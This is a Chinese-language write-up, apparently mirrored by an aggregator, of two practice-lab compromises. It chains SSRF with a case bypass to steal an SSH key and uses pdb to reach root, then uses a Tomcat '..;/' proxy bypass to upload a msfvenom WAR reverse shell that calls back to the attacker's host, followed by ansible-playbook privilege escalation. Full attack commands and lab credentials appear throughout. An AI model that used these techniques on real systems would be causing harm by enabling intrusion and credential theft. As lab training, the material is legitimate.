4

迷糊的提权方式以及利用ssrf到最终提权靶机

 2 years ago
source link: https://www.secpulse.com/archives/173143.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

迷糊的提权方式以及利用ssrf到最终提权靶机

                             文章首发于:先知社区

                         https://xz.aliyun.com/t/10811

目标是国外靶场

打过才知道 学的知识太少了师傅们看看就行 大家都会 要是描述得不对的地方 求指点

本地环境:kali

首先是通过ssrf拿下的靶机

因为是连了vpn的所以可以直接扫目标ip:10.10.11.111拿到目标 只有ip 那就先扫端口nmap -v -sSV -Pn 10.10.11.111 -T4 -sC

没啥信息 只有80端口 那就打开web看看直接访问10.10.11.111

直接访问不了 添加host头

echo “10.10.11.111 forge.xxx” >> /etc/hosts

然后在次访问

能访问了 发现有个上传的地方

发现重命名的后缀名 不解析 上传应该是没办法了 找找其他突破先扫扫目录 和子域名目录:gobuster dir -u http://forge.xxx/ -w /usr/share/wordlists/dirb/common.txt

beepress-image-173143-1644302200.png

子域名:wfuzz -c -u “http://forge.xxx/“ -H “Host:FUZZ.forge.xxx” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt

beepress-image-173143-1644302201.png

目录没扫出什么 扫到一个子域名 先进入看看还是不能直接访问 先加入到hostecho “10.10.11.111 admin.forge.xxx” >> /etc/hosts

提示只能本地访问

beepress-image-173143-16443022011.png

尝试加上X-Forwarded-For:127.0.0.1绕过失败。但是前面那个上传的地方 还有一个上传路径的地方

beepress-image-173143-1644302202.png

但是直接上传会提示是黑名单地址

beepress-image-173143-1644302203.png

既然是黑名单 我们尝试绕过

beepress-image-173143-1644302205.png

大小写绕过了:http://aDmin.forGe.xxx/然后访问页面发现报错

beepress-image-173143-1644302207.png

然后通过抓返回包发现一个路径

beepress-image-173143-1644302208.png

然后继续通过ssrf访问这个路径 继续进行抓包http://aDmin.forGe.xxx/announcementsbeepress-image-173143-1644302209.png

然后访问路径抓取返回包 获得了ftp的密码

beepress-image-173143-1644302210.png

user:heightofsecurity123!以及获取/upload目录API用法,u=urlhttp://aDmin.forGe.xxx/upload?u=url

然后结合起来读取ftpftp://user:[email protected]

http://aDmin.forGe.xxx/upload?u=ftp://user:[email protected]

beepress-image-173143-1644302211.png

然后继续bp抓返回包

beepress-image-173143-1644302212.png

可以成功访问到,也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥http://aDmin.forGe.xxx/upload?u=ftp://user:[email protected]/.ssh/id_rsa

beepress-image-173143-16443022121.png

用同样的方法读取

beepress-image-173143-1644302216.png

然后保存id_rsa

beepress-image-173143-1644302219.png

然后ssh连接ssh -i id_rsa [email protected]

beepress-image-173143-16443022191.png

成功连接上来

beepress-image-173143-1644302221.png

sudo -l 发现一个不需要密码执行的py文件

beepress-image-173143-16443022211.png

然后看下这个文件

beepress-image-173143-1644302222.png

发现是建立socket链接 监听40433端口 那就先执行这个py文件看看先执行py文件看看 然后在用nc连接

beepress-image-173143-1644302223.png

然后在随便输入的时候 发现会调用pdb调试pdb模式下是可以执行python代码的。于是直接给bash加上suid提权

beepress-image-173143-1644302225.png

pdb:pdb是The Python Debugger的缩写,为Python标准库的一个模块。该模块规定了一个Python程序交互式源代码调试器,支持设置断点,也支持源码级单步调试,栈帧监视,源代码列出,任意栈帧上下文的随机Python代码估值。

到此 这一台也就提权完毕

第二台 利用ansible-playbook提权

目标ip:10.10.10.250拿到目标还是先扫描端口 进行信息收集

beepress-image-173143-16443022251.png

命令:nmap -v -sSV -Pn 10.10.10.250 -T4 -sC发现开了22 443 8080直接先打开8080端口看看

beepress-image-173143-1644302227.png

发现是一个登陆框 cms是 gitbucket试了下弱口令 发现不存在 那就注册一个

beepress-image-173143-1644302228.png

注册之后然后登录

beepress-image-173143-1644302230.png

这应该是一个代码仓库

beepress-image-173143-1644302234.png

因为前面还有443端口开发 打开443端口看看

beepress-image-173143-1644302235.png

之前nmap扫描出443端口,但是无法访问https,写入hosts尝试登录添加到host 因为扫描出有一个seal.xxx

beepress-image-173143-1644302236.png

echo 10.10.10.250 seal.xxx >> /etc/hosts是一个商城 那8080 的的确是443的代码库

然后继续翻代码库 通过找最近commits 在tomcat里面翻到了账户密码

beepress-image-173143-1644302240.png

beepress-image-173143-1644302242.png

http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7username = tomcatpassword = 42MrHBf*z8{Z%尝试访问tomcat默认登录目录/manager/statushttps://seal.xxx/manager/status

输入找到的账户密码 成功登录

因为前面根据nmap 扫描出tomcat是通过反代的 这样会存在一个问题这个问题这里参考https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/管理界面/manager/html无法访问显示权限不够

这里就可以利用tomcat 和反代的漏洞 用..;/绕过

https://seal.xxx/manager/status/..;/html然后这里有一个上传的地方

然后打包一个war包的shell上传msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war

在上传之前,请记住一件事。这里存在路径遍历漏洞。所以,你不能直接上传.war文件。唯一的过程是在上传之前修改路径,因此我在Burpsuite中拦截了上传请求以进一步修改。

上传之后 开启监听 然后访问 https://seal.xxx/shell/nc -lvvp 6666

发现还有个luis 这个开始在8080端口里面也发现了

然后在lusi目录下发现user.txt

命令:find / -name user.txt但是查看user.txt的时候发现没有权限

需要提权了

在查看进程的时候发现了一个有趣的进程

命令:ps aux | grep root然后我们看看run.yml文件

发现tomcat只有读的权限cat /opt/backups/playbook/run.yml

第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接(As )。然后在第 8 行,它/opt/backups/archives以 gzip 格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录,

发现只有uploads目录可写网上了解搜索一下ansible playbook:https://blog.51cto.com/u_9019400/2385520这个yml是在做文件备份所以创建一个指向luis的id_rsa的软链接文件,我们可以把它放到/uploads目录中命令:ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa然后可以在/opt/backups/archives下看到gz文件 然后解压

然后将压缩文件复制到tmp目录下

命令:tar -xvf t.tar.gz切换到uploads目录然后查看id_rsa

保存到本地然后ssh 连接 但是在连接之前 需要给chmod 600

然后成功查看user.txtcat user.txt

提权root

第一种提权

sudo -l

发现luis不用密码就可以以root 执行ansible-playebook直接在提权网址发现一个提权方式

命令:TF=$(mktemp)echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]‘ >$TFsudo ansible-playbook $TF

这样提权太快了提权网址:https://gtfobins.github.io/#

第二种提权:

创建一个root.yml文件

beepress-image-173143-1644302243.png

然后:sudo /usr/bin/ansible-playbook root.yml

beepress-image-173143-1644302245.png

第三种则是直接复制root.txt 也是创建yml文件

name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
   name: copying file with playbook
   become: true
   copy:
   src: /root/root.txt
   dest: /dev/shm
   owner: luis
   group: luis
   mode: 0777

使用sudo /usr/bin/ansible-playbook执行root.yml文件然后在dev/shm下找到root.txt

beepress-image-173143-1644302246.png

通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权最后 还是知识面不够阿有什么不足 写得不对的地方 求师傅们指点

欢迎大家的关注与分享!!!!!

本文作者:辞令_WhITECat

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/173143.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK